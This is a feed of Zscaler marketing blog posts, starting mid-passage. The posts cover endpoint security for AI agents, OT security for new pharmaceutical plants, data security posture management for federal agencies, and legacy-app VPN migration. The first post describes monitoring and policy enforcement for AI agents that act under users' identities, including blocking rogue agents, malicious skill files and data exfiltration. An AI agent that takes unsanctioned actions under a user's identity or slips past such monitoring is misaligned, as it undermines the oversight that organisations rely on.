AI-enabled browsers such as Chrome, Edge, Comet, and Atlas with embedded models and agent capabilities.Underneath all of this sits the change that matters most:&nbsp;agents act as the user. An agent runs under the user's identity, with the user's permissions, touching the user's files and network connections. When we talk to security teams, this is the point where the conversation usually slows down, because most of their controls and audit trails assume that an action taken under a user's identity was taken by that user. That assumption no longer holds.This is&nbsp;AI asset sprawl: applications that create applications, files created faster than they can be classified, and identities that are no longer only human. Why existing endpoint tools weren't built for thisThe reasonable first question is: don't EDR, DLP, and MDM already cover the endpoint? They do, and none of them should go anywhere. But each one was designed around assumptions that AI asset sprawl breaks. This isn't a criticism of those products. It's a scoping observation.EDR watches files, processes, and threads, and it's very good at recognizing attack patterns and stopping malware and&nbsp;ransomware.&nbsp;But walk through a typical AI incident: a user types a prompt, an agent modifies local files and sends data over the network. From EDR's perspective, there is no malware signature, no process injection, no privilege escalation—just a signed application from a major vendor doing normal application things. The context that would tell you something is wrong lives at the AI application layer: the prompt, the skill file that shaped the behavior, the MCP server involved, the agent's goal. EDR was never designed to see any of that.DLP was built for an environment where you could catalog your files, trace when each was created and modified, and scan content against known patterns.&nbsp;Those steps still work; the environment changed. On an endpoint with active agents, hundreds of new files can appear per minute: generated reports, working datasets, code, memory files. Classification pipelines sized for human document-creation rates fall behind immediately.&nbsp;Lineage breaks too — a file an agent synthesized from six sources and rewrote twice has no ancestry a traditional DLP can reconstruct. And pattern matching struggles when agents constantly reshape and re-encode the data they touch.MDM gave IT a reliable answer to "what is installed on this machine?" Sanctioned apps, managed versions, change control.&nbsp;The new failure mode is simple to state: AI applications create other applications. One prompt produces a finance dashboard app in its own folder. Another folder fills up with PowerShell scripts that modify system settings. None of it went through change management, none of it appears in the software inventory, and MDM has no mechanism to version it or determine what it's for. The gap between what IT believes is on the endpoint and what is actually running there widens every day.The common thread: all three product categories assume a predictable endpoint—known applications, human-speed file creation, human-only identity. AI asset sprawl breaks all three assumptions at once. That's not a feature gap you close with a release; it's a different problem that needs a purpose-built product. How Zscaler AI Endpoint Security worksWe built this product from the ground up for this new AI-native application layer, around the same zero trust principles that run through the rest of the Zscaler platform: verify rather than assume, tie every action to an identity, and enforce policy inline.&nbsp;The Zscaler agent on the endpoint gains visibility into the AI application layer itself, and delivers three capabilities.1. AI Asset InventoryFirst, discovery. The product builds and maintains a&nbsp;complete inventory of AI assets on each endpoint:Frontier model applications (Claude, Codex, Copilot, Gemini)Local model applications (Llama, Ollama, LM Studio, custom models)AI browsers and AI-powered IDEsPackage managers and other channels bringing AI components onto the deviceThe entire ecosystem installed within these apps, including plugins, extensions, skills, and add-onsInventory goes below the application level, to the components that determine what these apps can actually do: config files, skill files and prompts, MCP servers, agent definitions, memory and knowledge stores, model files, telemetry and persistence mechanisms.&nbsp;The output is a structured map of your AI footprint per endpoint, with high-risk findings flagged—unapproved agents, risky plugins, unknown model files, and shadow AI your inventory has never seen.2. AI Agent Runtime MonitoringInventory tells you what's present. Runtime monitoring tells you what it's doing. While AI applications run, Zscaler captures the events that matter at the AI application layer:Prompts and responsesTool and function callsSkill files invoked and MCP servers connectedFile access and data movementProcess and data lineageSystem interactions and network connectionsBecause these events are captured with full context, you can reconstruct a complete agent run—the main agent and every subagent it spawned—and correlate it to identity: which user, which agent, which device, which data. This is the piece that directly addresses the ‘agents act as the user’ problem. When something anomalous happens, you're not left guessing whether the human did it; you can see exactly which agent acted, on whose behalf, and what it touched.3. Enterprise AI Policy EnforcementVisibility on its own doesn't change outcomes, so the third capability is inline enforcement—the control point IT and security teams have been missing on this layer. Policies apply in real time to:Block rogue or unauthorized agents before they actStop malicious skill files and instructionsHalt dangerous commands and code execution via agentsPrevent data exfiltration and protect sensitive or critical filesMonitor and police extensions within frontier AI appsFlag PII inside prompts before it leaves the deviceEnforce acceptable-use, data-protection, compliance, and custom enterprise policies consistently across frontier AI apps, AI-powered IDEs, AI assistants, and AI browsers alikeTaken together: inventory answers “what is here”, runtime monitoring answers “what is it doing,” and enforcement answers “what will we allow.” The same questions zero trust has always asked—now asked of AI assets and agents on the endpoint. Why the need is so urgentThree things convinced us this needed to be a must-build product—and that it couldn't wait.The endpoint is becoming a software factory. "Apps that create apps" is not an edge case we found in testing; it is the stated product direction of every major AI vendor.&nbsp;And it is exactly how AI asset sprawl compounds, as every new application arrives with its own configs, skills, models, and agents. Subagents, background agents, agents embedded in browsers and IDEs: hundreds of agents will soon be running on endpoints on behalf of users, just as they already are in the cloud.&nbsp;Any governance model built on "one identity, one human" stops scaling; agent identity and lineage have to become first-class objects in your security model. The gap between installed software and existing software will keep growing, and only continuous discovery paired with runtime observation can keep up with software that didn't exist an hour ago.Audit requirements are moving toward AI actions. The questions we increasingly hear from compliance teams are concrete: which agent touched this customer data, under whose authority, and what left the device? Those questions can only be answered at the endpoint, at the AI application layer, at runtime. Organizations that can't reconstruct an agent run will struggle to answer them at all.Productivity and competitiveness cannot slow down. Every organization is watching its peers and competitors adopt AI at full speed. Blocking the tools that make employees more productive is not a viable answer because it simply trades a security risk for a competitive one.&nbsp;A security solution built for the AI application layer means people keep doing their best work with the tools that raise the organization's productivity and success, while the enterprise stays in control.We've seen this pattern before. When perimeters dissolved, zero trust replaced castle-and-moat on the network. When work moved to cloud and SaaS, zero trust followed. The AI application layer arriving on the endpoint is the same story, one layer further in. And it's better to have controls in place while the sprawl is measured in dozens of assets per device rather than hundreds.EDR will keep stopping malware. DLP will keep protecting the data it can see. MDM will keep managing the software IT deploys. Keep all three. Zscaler Endpoint AI Security covers the layer none of them see: the AI applications, agents, and assets acting on your endpoints under your users' identities. What's nextZscaler Endpoint AI Security is rolling out to customers now. If you want to see your own endpoint AI footprint—most teams are surprised by their first inventory report—learn more&nbsp;here or reach out to your account team for a demo.]]></description>
            <dc:creator>Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Pharma Is Building Again. It’s Time to Put Security in the Blueprints.]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/pharma-building-again-it-s-time-put-security-blueprints</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/pharma-building-again-it-s-time-put-security-blueprints</guid>
            <pubDate>Thu, 08 Oct 2026 15:31:31 GMT</pubDate>
            <description><![CDATA[The onshoring wave is a once-in-a-generation chance to build connected, AI-ready plants the right way. In a GMP plant, most of the security decisions are effectively made before the first batch runs. Somewhere in North Carolina, Indiana, or Pennsylvania this year, a field is turning into a pharmaceutical plant. In a construction trailer at the edge of the site sits a thick binder of user requirements, the document that says what every system in the plant must do. Engineers are signing off on drawings for bioreactor suites and fill-finish lines, and equipment vendors are building skids in their own factories hundreds of miles away. In a few years the site will make medicines that patients depend on, and it will probably still be running long after everyone who designed it has retired.Why now? Mostly pressure. The pandemic showed how much of the US drug supply depends on factories overseas. In 2025 Washington followed with an&nbsp;executive order to speed up approvals for domestic plants, and with the threat of&nbsp;steep tariffs on imported branded drugs from companies that were not building in the US. Drugmakers responded. They announced more than $370 billion in planned US investment during 2025, according to&nbsp;DPR Construction's year-end tally. Not all of it is manufacturing, since the pledges also cover R&amp;D and partnerships, but a large share is concrete, steel, and cleanrooms.A new plant is not a quick project.&nbsp;PhRMA puts it at 5 to 10 years and up to $2 billion from decision to production. Regulators are getting involved earlier as well. FDA's&nbsp;PreCheck pilot is open only to eligible new facilities, and it&nbsp;reviews facility design and equipment qualification before a plant runs its first batch.For the engineers designing one of these plants, that long runway is also a rare chance to start over. They get new equipment, new automation, and a data architecture built for how plants will run in the 2030s rather than how they ran in the 1990s.Security belongs on that list too, and that is a newer idea than it sounds. For most of the industry's history, plant security meant walling the plant network off from the rest of the company and the internet, and hoping the wall held. Three things have changed that:The wall did not hold. In 2017, NotPetya reached Merck through a compromised software update rather than a breach of the plant perimeter. It spread across the company's network,&nbsp;infected more than 40,000 computers, and disrupted manufacturing. The company put the losses at $1.4 billion.A walled-off plant cannot do what it is being built for. These plants are funded on the promise of AI and analytics, and those depend on data leaving the plant floor.Regulators now expect security in the design. Draft updates to the EU's GMP rules ask for segmented networks, controlled remote access, and security requirements written into a system's specification before it is qualified. What are these plants being built to do?These are not copies of the plants they replace. Most are being designed around what ISPE calls&nbsp;Pharma 4.0, an operating model for bringing Industry 4.0 into regulated manufacturing. In practice that means:continuous manufacturing in place of batch-and-hold, now covered by ICH Q13process analytical technology (PAT) that measures quality in the line instead of waiting on the labdigital twins that let engineers test a process change before they touch the equipmentAI is where much of the payoff is expected:Catching deviations early. Models flag a drifting batch from sensor trends before it is lost, instead of leaving an investigation for afterwards.Faster batch release. PAT data, batch records, and lab results come together, so Quality reviews by exception.Predictive maintenance. It focuses on the equipment that sets a plant's capacity, such as lyophilizers, isolators, and bioreactors.Every one of those benefits depends on the same thing. A model cannot flag a drifting batch if it never sees the sensor data. Quality cannot review by exception if the PAT results and the batch records sit in separate systems that never talk to each other. The value comes from data moving: from the skid to the historian, from the site to the cloud, and between the plant and its partners. A plant designed to be walled off cannot deliver any of it.That changes what a plant's IT looks like. Some systems have to stay close to the production line, because a plant must keep making product even if its internet link goes down. The systems that run and release each batch therefore live on site or nearby. That includes the manufacturing execution system (MES), which enforces each recipe step by step, and the local ERP instance, often SAP, that releases finished product.The heavy analytics go the other way. Training a model on years of batch data from a dozen sites takes cloud-scale computing, and it needs every site's data in one place. So a new plant ends up hybrid by design, partly on site and partly in the cloud, and connected all the time.That is the real opportunity. ISPE's Pharma 4.0 model already names&nbsp;data integrity by design as one of its two core enablers. Security by design is the same idea applied to the network. The question for a new plant is not how to keep it disconnected. It is how to connect it the right way, so that the AI business case and the security case become the same design.There is a catch, though, and it arrives on a schedule. So why does the window close so early?In most factories, security is something you can add later. A segmentation project or a new remote-access tool is disruptive, but it is an IT change. A GMP plant is different. Once a system is qualified and the process is validated, almost any change to it goes through change control. The EU's&nbsp;draft revision of GMP Annex 11 is explicit about it. A significant change that could affect product quality, patient safety, or data integrity "should be subject to re-qualification and validation."That is why so much pharma OT still runs old software with known vulnerabilities, even though plant teams are usually well aware of them. The security fix itself is rarely the expensive part. Re-running qualification on a system that is busy making product is.So for a new plant, the security architecture becomes hard and expensive to change once the plant is qualified. Changes are still possible, through impact assessment and, for significant ones, requalification, but few teams take that on lightly. Whatever is on the network when performance qualification is signed, every shared login and every vendor modem included, is what the plant is likely to run with for years.The same Annex 11 draft also adds a full security section. It covers segmented networks with strict firewall rules, timely patching, isolation of unsupported systems, and USB ports deactivated by default. It also says the user requirements specification (URS) should include security requirements and data flow diagrams.&nbsp;The consultation closed in October 2025, and the final text is still pending. Requirements like these are far cheaper to meet in a design document than in a change request.The top row is how most plants get security today: a review after go-live, findings that land in change control, and a choice between revalidation and an accepted risk. The bottom row moves the same requirements into the URS. They are then checked at the factory and site acceptance tests (FAT and SAT), the vendor-shop and on-site checks every system goes through. Finally they are proven in installation, operational, and performance qualification (IQ, OQ, and PQ) alongside the system they protect. What belongs in the URS?Not everything. Controls inside the validated systems themselves are usually best left to the automation vendor and Quality. The six requirements below are the ones that get decided by default if nobody writes them down. Each is cheap to write into the URS and test at FAT, and expensive to add after PQ. The examples use a biologics plant with fill-finish, but the same six apply to most new drug substance or drug product sites.Requirement 1: A named identity for every person and every machine.For people, the regulations already require it.&nbsp;21 CFR 11.10(d) requires limiting system access to authorized individuals, and 11.100(a) requires every electronic signature to be unique to one person. The draft Annex 11 goes further: it calls any shared account that can change data a violation of data integrity. Yet shared operator logins on skid HMIs are still common, because the package unit arrived with one built-in account.Design it out up front. Write named, directory-backed identity for every HMI, engineering workstation, and batch client into the user requirements, so that each OEM has to deliver it at FAT. The regulations stop at people, but the same logic holds for machines, so extend the rule to everything that is not a person:MES-to-skid integrations that download recipes and collect batch datahistorian collectors that poll every controller on the floorservice accounts used by backup, patching, and monitoring toolsAI agents that read process data for analytics and maintenance modelsA new plant will connect more machine identities to batch data than humans. Map which of them can reach the electronic batch record, laboratory information management system (LIMS), and process historian before go-live. That map is the access baseline the plant will be held to.Requirement 2: Zones drawn around unit operations, not Purdue levels.A biologics plant is a collection of package units: bioreactors, chromatography and filtration skids, clean-in-place and steam-in-place (CIP and SIP) systems, isolators, and lyophilizers. Each comes from a different OEM with its own controller, HMI, and network habits. Many plants follow the Purdue reference model by putting all of them in one shared Level 1-2 network. In practice, that network often becomes flat the day the integrator connects the last skid. Once it is flat, anything that compromises one skid, such as an infected vendor laptop plugged into a CIP panel, can reach every other skid, including the bioreactors running product.Start by finding everything. You cannot draw a zone around an asset nobody has inventoried, and package units often arrive with more networked devices than the drawings show. Then zone the plant the way the process is built, using the&nbsp;zones and conduits model from ISA/IEC 62443. Each unit operation gets its own zone. The only conduits are the ones the batch actually needs: recipe download from the batch engine, alarms and data up to the historian, and electronic batch record entries to MES. The cleanroom building management and environmental monitoring systems get their own zone too. They are GMP-relevant, because pressure differentials and particle counts are product-quality data, but they are installed by a different contractor on a different schedule.Requirement 3: One brokered path for every vendor.Picture SAT week. The skids have arrived, and a dozen vendor engineers are on site, each with a laptop, a deadline, and a preferred way in. The automation lead's job that week is to get every system through testing, not to referee remote access.After handover, most OEMs still expect remote support for the life of the equipment. If the plant has not designed that path, each vendor brings their own: a cellular router in the panel, a remote-desktop tool on the HMI, or a VPN nobody inventories. Once qualified, those paths are part of the validated state and very hard to remove.The alternative is to qualify one brokered path that every vendor uses from the first site acceptance test (SAT). Access is tied to a named person and limited to a single asset. It is approved per session, recorded, and closed when the work ends. The vendor never gets a network route into the plant, only a session to the asset they support. The draft Annex 11 already expects multifactor authentication for remote access to critical systems from outside the site. Write the lifecycle into the vendor contracts as well, so that access granted during commissioning is reviewed at handover and expires unless the plant renews it.Zones follow the process, not the Purdue floor. The vendor's dashed path ends at one asset in one zone; it never becomes a route into the plant.Requirement 4: Every inbound file inspected before it reaches a validated system.New plants ingest a steady stream of files. These include recipe packages, OEM firmware and patches, validation protocols, and tech transfer documents from development sites or contract partners. Most arrive by email, file share, or the vendor's laptop, and some still arrive on USB.Route files through a single transfer path that detonates and inspects them before they reach anything validated. Removable media is the honest gap here, since no network control sees a USB stick. The draft Annex 11 is blunt about it: USB use should be strictly controlled, outside media scanned before use, and ports on critical systems deactivated by default. The plant should give vendors a better path than USB from day one, so that locking the ports during qualification is practical.Requirement 5: Outbound data classified and inspected.The most valuable data in a pharma plant is the process: process parameters, batch genealogy, and the analytical methods that prove the product is what the label says. New plants are being built to stream that data out to cloud analytics, digital twins, and AI models for process monitoring and predictive maintenance.That outbound flow needs the same scrutiny as inbound access. Classify process and batch data at the source, and inspect what leaves the plant for where it is going. The EU's&nbsp;draft Annex 22, the first GMP text dedicated to AI, points the same way, with change control and human review for AI used in manufacturing.Requirement 6: Early warning, response, and recovery.A validated plant will always carry some known vulnerabilities, because patching a qualified system takes time even in a plant designed for it. That gap is getting more dangerous. Google's Threat Intelligence Group&nbsp;reported that monthly vulnerability disclosures roughly doubled during 2026, and that attackers are using AI to turn newly published flaws into working exploits faster. Attackers are moving faster, and a GMP plant's patch cycle is not keeping up. Prevention needs a backstop that tells the plant early, and with confidence, that someone is inside.Advanced security capabilities such as deception provide that backstop. Decoy HMIs, engineering workstations, controllers, and credentials are placed in every zone, where no legitimate user or process ever touches them, so any interaction with one is a high-confidence signal.That matters more as attacks become automated. Automated reconnaissance, AI-assisted or not, sweeps whatever it can reach, and that is exactly what a decoy is waiting for. Deception also suits a plant whose security team is often a handful of people rather than a 24x7 SOC.Placed during design, decoys can mirror the real skids and the real zone layout, so they are indistinguishable from production assets. Added years later, they tend to look like what they are.Detection is only the first step, so the URS should also say what happens next:Who hears about it. Alerts should reach both the plant's operations team and security.Quality's role. Quality needs a seat in the response whenever an event could touch a GMP system or a batch record, because Quality decides whether product is affected.The way back. The plant needs local access when the WAN is down. It also needs backups of control logic, configurations, and batch records that have actually been restored and verified. The draft Annex 11 already expects tested restores and a disaster recovery plan with a defined recovery time.Files in, data out, and machine access each pass a check at the boundary. Removable media is the one path no network control sees, which is why the plant has to offer vendors something better than USB before qualification locks the ports. What does doing it right look like?Most existing plants collected security one problem at a time over twenty years: a firewall here, a remote-access tool there, each with its own rules and owner. A new plant can follow a different pattern. Every connection that crosses a boundary goes through a single policy layer: between zones, in or out of the plant, from a vendor, to the cloud, or from an AI system. That layer checks who or what is asking and grants access to a specific asset or application, never to the network around it. Control traffic inside a zone stays local, between the controllers and the systems that run the batch. Because the layer sits around the validated systems rather than inside them, the six requirements can be built and tested without modifying the systems themselves.It is the same idea as data integrity by design, applied to access: decide the rules once, at design time, and make them provable.The Zscaler Zero Trust Exchange is our implementation of that pattern. The six requirements map to one platform and one policy model. It can be verified at FAT and SAT and documented in the qualification package alongside the systems it protects.Every way into or out of the plant passes through the same policy model, whether it is a person, a vendor, a file, a cloud service, or an AI agent. The table maps each connection to the Zscaler capability that covers it.ConnectionWhat it needsZscalerEngineers and operatorsIdentity-bound access to specific applications, never to the networkZscaler Private Access; identity integrationOEM vendors and CDMOsPer-asset, approved, recorded sessionsPrivileged Remote AccessFiles and updatesDetonation and inspection before deliveryCloud Sandbox; sandboxed file transfer in PRACloud analytics and SaaSInline inspection, data classification, DLPZscaler Internet Access with Data ProtectionAI models and agentsOwn identity, mapped and scoped access, AI usage controlsZscaler Access Graph with AI security controlsInside the zonesAsset discovery and agentless segmentation by unit operationZero Trust Branch with device segmentationEarly warningDecoys in every zoneZscaler DeceptionSite connectivitySecure WAN and cellular links with no exposed edge devicesZero Trust Branch; Zscaler CellularWhat this does not replace is the control set on the validated systems themselves. That means audit trails in the MES, recipe locks in the batch engine, and the automation vendor's own hardening. It also does not solve removable media on its own. It gives the plant one enforceable layer around those systems, defined before qualification instead of negotiated after it. The window is nowBack in that field, the drawings are still being signed and the binder in the trailer is still being written. The plant that comes out of them will make medicines for decades, run AI its designers have not imagined yet, and connect to partners that do not exist today. Whether it does that securely depends less on the tools bought in 2035 than on the requirements written this year.Existing plants can still get there, through risk-based change control, one zone at a time, and we will cover that path in a follow-up. But for the plants being designed now, the cheapest security control is a line in the user requirements specification.If you are planning a new site or expansion, the best time to bring us in is front-end engineering design (FEED), before the URS is frozen. Request an OT architecture workshop. You will leave with two things: a zone and data-flow map that your engineering and Quality teams have signed off, and a set of security requirements written to be tested at FAT and SAT. And hear from our customers directly on how they use Zscaler for OT security.]]></description>
            <dc:creator>Bryan Ashley (Zero Trust Networking, Principal Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[The End of Legacy Data Classification Is a Zero Trust Opportunity for Federal Government]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/end-legacy-data-classification-zero-trust-opportunity-federal-government</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/end-legacy-data-classification-zero-trust-opportunity-federal-government</guid>
            <pubDate>Wed, 07 Oct 2026 03:45:54 GMT</pubDate>
            <description><![CDATA[Across the Department of War, civilian agencies, and the Intelligence Community, security teams have spent years building data classification and permissions governance programs around on-premises tools. Those tools scanned file shares, monitored user activity, and helped auditors answer a basic question: who has access to what?Now, legacy data classification vendors are retiring their on-premises products and shifting exclusively to cloud delivered models. For some organizations, that transition is straightforward. For federal teams operating in classified, air gapped, disconnected, or otherwise constrained environments, it creates a decision point.&nbsp;Agencies have choices beyond a like-for-like replacement. They can replicate yesterday's static approach. They can reach for familiar fixes, such as bolting on another single purpose appliance or extending legacy VPN and perimeter access to reach new tools, which likely both adds cost and complexity and expands the attack surface. Or they can use the transition to strengthen continuous data visibility, access governance, and risk reduction as their Zero Trust and AI programs advance.Federal guidance supports that broader approach.&nbsp;CISA’s June 2026 zero trust guidance describes decisions informed by identity, device posture, application context, and data sensitivity. The&nbsp;Federal Zero Trust Data Security Guide puts the data-security task plainly: "Practitioners should define their policies based on data sensitivity, identifying who can access the data, under what conditions, and what they can do with it.” In a&nbsp;June 2026 joint statement, the heads of the Five Eyes cybersecurity agencies likewise urged leaders to prioritize reducing their attack surface and review permissions regularly."That modernization must account for wherever the mission runs: in the cloud, in hybrid environments, and in the classified, air gapped, and disconnected networks that much of the federal enterprise depends on. Classification alone was never the whole answerEven before end of life announcements, legacy data classification tools had structural limitations. Most operated on a static model: scan a repository, apply labels, generate a report. That approach answered where sensitive data lived at the time of the last scan, but could not keep pace with how data actually moves through an organization. Classification helps teams identify sensitive data. The broader task is to understand who and what can reach that data, whether access is appropriate, and how exposure changes as data and permissions change.Data Security Posture Management (DSPM) reframes the problem. Instead of static classification alone, DSPM introduces data provenance, which maps exact data lineage and usage over time. It brings discovery and classification together with analysis of access and exposure. It connects data stores to the identities that access them, including human users, non-human identities, service accounts, third parties, and mission partners. It does this continuously, so the picture stays current as the environment changes.For federal organizations, this is the difference between a compliance checkbox and an operational capability. It also matches the direction of the Pentagon’s cybersecurity policy. In March 2026 congressional testimony, Department of War CIO Kirsten Davies said the department will “emphasize automation and dynamic and continuous monitoring” and “drive risk reduction rather than burdensome paperwork”. For the data pillar, that means continuous posture assessment in place of periodic scans, and identity aware access governance in place of static permission reports. Why Data Security Has to Become ContinuousThe real challenge for agencies, therefore, is not simply how to replace a retiring classification tool. It is whether the replacement will support the way federal missions now operate.&nbsp;Traditional categorization programs were built around labels, repositories, and periodic reviews. Those capabilities still matter, but they are no longer enough. Zero Trust requires agencies to understand data sensitivity in context: who is accessing the data, from what identity or workload, under what conditions, and whether that access remains appropriate over time.&nbsp;That shift evolves the mission of data security. Categorization becomes the starting point, not the end state. Agencies need continuous visibility into sensitive data, identity-to-data relationships, excessive permissions, stale or redundant information, and policy violations that increase operational risk. They also need those capabilities to work inside the environments where federal data actually resides, including classified, disconnected, tactical, hybrid, and cloud-connected networks. What Zscaler DSPM deliversZscaler DSPM helps agencies discover sensitive data, map identity to data access, and remediate exposure inside a customer controlled boundary. The approach follows four stages:Discover. Connect to file stores, SaaS platforms, identity sources, and data repositories through agentless, API based, and service account connectors. Sensitive data stays within the operating boundary throughout.Categorize. Apply deterministic rules, local machine learning, and optional customer controlled models to label sensitive data. Classification runs within the customer's environment, not in a third party cloud.Graph. Map human and non human identities to data access, including privileged users, third party contractors, inactive accounts, service accounts, and identities without multi-factor authentication. This identity to data graph is the foundation for understanding who can reach what.Remediate. Right size permissions, reduce stale or misplaced data, and produce the evidence auditors and governance teams need. The output is actionable: specific findings tied to specific data stores, with clear remediation paths and owner assignments. Built for constrained environmentsZscaler DSPM is designed for environments where deployment flexibility is a mission requirement. That includes on-premises installations, VM and container based deployments, classified enclaves, and disconnected or tactical networks. Agencies operating in air gapped or limited connectivity environments do not need to route sensitive data through external cloud infrastructure to gain classification and access governance capabilities.This deployment model directly addresses the friction federal teams encounter when their incumbent vendor's replacement requires connectivity and cloud models that do not fit the operational environment. Zscaler DSPM meets agencies where they operate, under the data boundary constraints, FedRAMP or Impact Level requirements, and RMF/ATO considerations that define federal IT. The AI readiness imperativeThere is a second, equally urgent reason to modernize data security posture now: AI adoption.Agencies across the Department of War (DoW) and civilian government are under pressure to deploy AI, copilots, retrieval augmented generation (RAG) workflows, and agentic systems. Every one of those initiatives depends on access to internal data. Speaking at the 2026 Billington CyberSecurity Summit, acting Federal CISO Michael Duffy described the overlap directly: “The things that I need to advance data security for zero trust, and the things that we need to make data trustworthy and usable for AI are very much aligned. Sometimes even the same things.” Scaling AI safely depends on the organization’s ability to answer three questions:Which data is sensitive, and where does it live?Who and what can access that data today, including AI tools and automated workflows?Are permissions appropriately scoped, or do broad legacy access rights create unacceptable exposure?Zscaler DSPM provides the data foundation that makes AI adoption defensible. By identifying sensitive data, mapping access, and reducing excessive permissions before AI workflows touch mission data, agencies can move from blocking AI adoption to enabling it under governance. Securing data is foundational Zero TrustData security does not exist in isolation. The findings from a DSPM deployment connect directly to broader Zero Trust architecture decisions: which users should have private application access, where data loss prevention controls need to be applied, how identity risk should influence access policy, and where AI guardrails belong.Zscaler DSPM provides the data foundation that powers the rest of the Zscaler Zero Trust Exchange. Agencies can start with data discovery and access governance, prove value on a specific repository or mission data set, and expand into private access, data protection, identity risk scoring, and AI security as the program matures. A practical next stepThe retirement of legacy on-premises classification tools is already underway. For agencies with active compliance mandates, the priority is standing up a modern replacement that meets their deployment, security, and governance requirements before the control gap widens.A practical starting point: a 30 to 45 day data risk assessment focused on one mission data enclave or repository family. The assessment delivers an executive readout covering sensitive data exposure, stale and redundant data, excessive permissions, user activity patterns, and AI access control implications. That readout becomes the basis for a broader deployment, grounded in measurable risk reduction and a clear path to operational value.Ready to move forward? Contact the Zscaler Federal team to schedule a Data Security and AI Readiness Workshop.&nbsp;]]></description>
            <dc:creator>Andrew AJ Forysiak (Field CISO DOD)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Beyond VoIP and SCCM: Securing Legacy Applications with ZPA]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/beyond-voip-and-sccm-securing-legacy-applications-zpa</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/beyond-voip-and-sccm-securing-legacy-applications-zpa</guid>
            <pubDate>Tue, 06 Oct 2026 17:00:00 GMT</pubDate>
            <description><![CDATA[Beyond VoIP and SCCM: Securing Legacy Applications with ZPAVPN for Legacy Apps started with VoIP and server-to-client apps like SCCM. New capabilities now extend it to support full zero trust access to IP address dependent systems like mainframes, multi-entity organizations and complex routing environments, so more of your legacy estate can move to Zscaler Private Access (ZPA).Most organizations moving from a traditional VPN/Firewall to zero trust reach the same point: user-to-app traffic moves to ZTNA easily, but a set of legacy apps keeps the old VPN concentrator or NGFW running. VPN for Legacy Apps in ZPA closes that gap. It gives those apps a home on the Zscaler Zero Trust Exchange, delivered through the same Zscaler Client Connector users already have. You can move off your traditional VPN vendor completely, with one agent, one policy framework and one platform for all private access, instead of running Zscaler and legacy VPN solutions side by side.Why the last mile of VPN migration is the hardestIn our&nbsp;earlier post, we introduced VPN for Legacy Apps in ZPA. It covers the applications that have challenges with&nbsp; zero trust design: Cisco Jabber, Avaya and Genesys VoIP, SCCM, follow-me printing and active FTP. These apps need the server to reach back to the client, and many expect a fixed client IP. That is why the VPN concentrator stays on long after everything else has moved to ZTNA.As more customers move these apps onto ZPA using VPN for Legacy App solution, they have told us what would make large migrations even smoother: onboarding large VPN configurations quickly, supporting systems that expect a fixed client IP, bringing acquired companies onboard on their own terms, and fitting cleanly into existing routing.Over the last few releases, we have delivered a set of features that address each of these needs and open VPN for Legacy Apps to use cases beyond where it started. Together, they make onboarding a legacy app to ZTNA as simple as adding it to your VPN, so you can retire your legacy VPN concentrators with confidence.Expanded use-case coverageThe first set of capabilities removes common blockers that keep legacy apps on the VPN, while making onboarding and day-to-day operations simpler.1. User group-based access policyLegacy VPN access is often defined by IP ranges alone, which says little about who is actually connecting. Access policies for VPN for Legacy Apps can now use IdP group attributes alongside existing IP criteria. Admins can grant access to a legacy app based on who the user is (for example, the finance or contact-center group), not just which network range they target and coming from.2. FQDN wildcard support: onboard everything, then migrate in phasesA typical VPN configuration covers a large number of hosts and domains, and discovering and rebuilding each one as an exact ZPA segment before cutover takes time. One missed host can break a VoIP callback or an SCCM push with no obvious cause. Network segments now support wildcard FQDNs, such as *.acme.com, so a single definition covers your legacy destinations on day one. You can move all of your VPN traffic to Zscaler in one step and retire the VPN, with users working just as they did before. From there, migrate to ZTNA at your own pace: use ZPA visibility to see which apps are really in use, then carve out specific network segments with least-privilege policies, one app group at a time. Upfront discovery and rework drop sharply.3. Static IP assignment to users: keep IP-based controls workingMainframes and many other legacy systems still trust an IP address. Firewalls, application allowlists and licensing servers key on the client IP, and regulated teams need a stable user-to-IP mapping in their logs. Admins can now statically map a user to an IP address, so the user gets the same address every time they connect to VPN for Legacy Apps. Security teams can track the user by IP across enterprise systems, allowlist-based apps keep working, and IP-based firewall rules need no rewrites. Banks, healthcare providers and other regulated teams keep a consistent user-to-IP record for audit and compliance.4. Micro-tenancy: isolation inside one ZPA tenantMergers, acquisitions and multi-campus organizations bring separate VPN estates, each with its own apps, admins and policies, and often overlapping RFC 1918 address space. VPN for Legacy Apps now works with ZPA Microtenants, which provide isolation inside a single ZPA tenant. Each subsidiary, acquired business or campus can run its legacy app segments, Network Connectors and policies in its own microtenant, on its own timeline, even when its private address ranges overlap with others. Microtenants can also share network segments with each other, with granular control over which segments are shared and with whom. Central IT keeps one platform and one view, while each business onboards fast.5. BGP summary routes: simpler routing integrationPreviously, the customer's router had to advertise prefixes that exactly matched each ZPA segment, so every new or changed segment meant a router change request and coordination between security and network teams. Now your router can send a single summary route to the Network Connectors. Network Connectors then use conditional routing to advertise the specific routes that match your configured segments. For example, if the router sends 10.1.1.0/24 and the network segment is 10.1.1.1, the Network Connector advertises only 10.1.1.1/32. The network team configures BGP once, and the security team adds or changes network segments in ZPA without opening a router ticket.Enterprise-ready: resiliency, control and visibilityWith these capabilities, VPN for Legacy Apps goes beyond the handful of use cases to supporting all the use cases large enterprises run needGet Started: ZPA Trial for VoIP and Legacy Application Zero Trust MigrationZPA now supports VoIP, server-to-client (S2C) applications, and all IP address dependent use-cases. This enables customers to move all their applications and streamlines operations by consolidating their secure remote access solution with Zscaler Private Access.&nbsp;Check out the&nbsp;latest product innovations with ZPA in addition to network connectivity. And read the&nbsp;Forrester Total Economic Impact study to learn how ZPA customers have realized 289% ROI.&nbsp;Contact your regional sales team to learn more about the solution and get a free 30 day trial to explore the solution, or&nbsp;take a quick tour.&nbsp;&nbsp;]]></description>
            <dc:creator>Megha Tamvada (Director, Product Management)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Zscaler Endpoint AI SecurityにAnthropicのClaude Mythos 5.1を導入]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/bringing-anthropic-s-claude-mythos-5-1-zscaler-endpoint-ai-security</link>
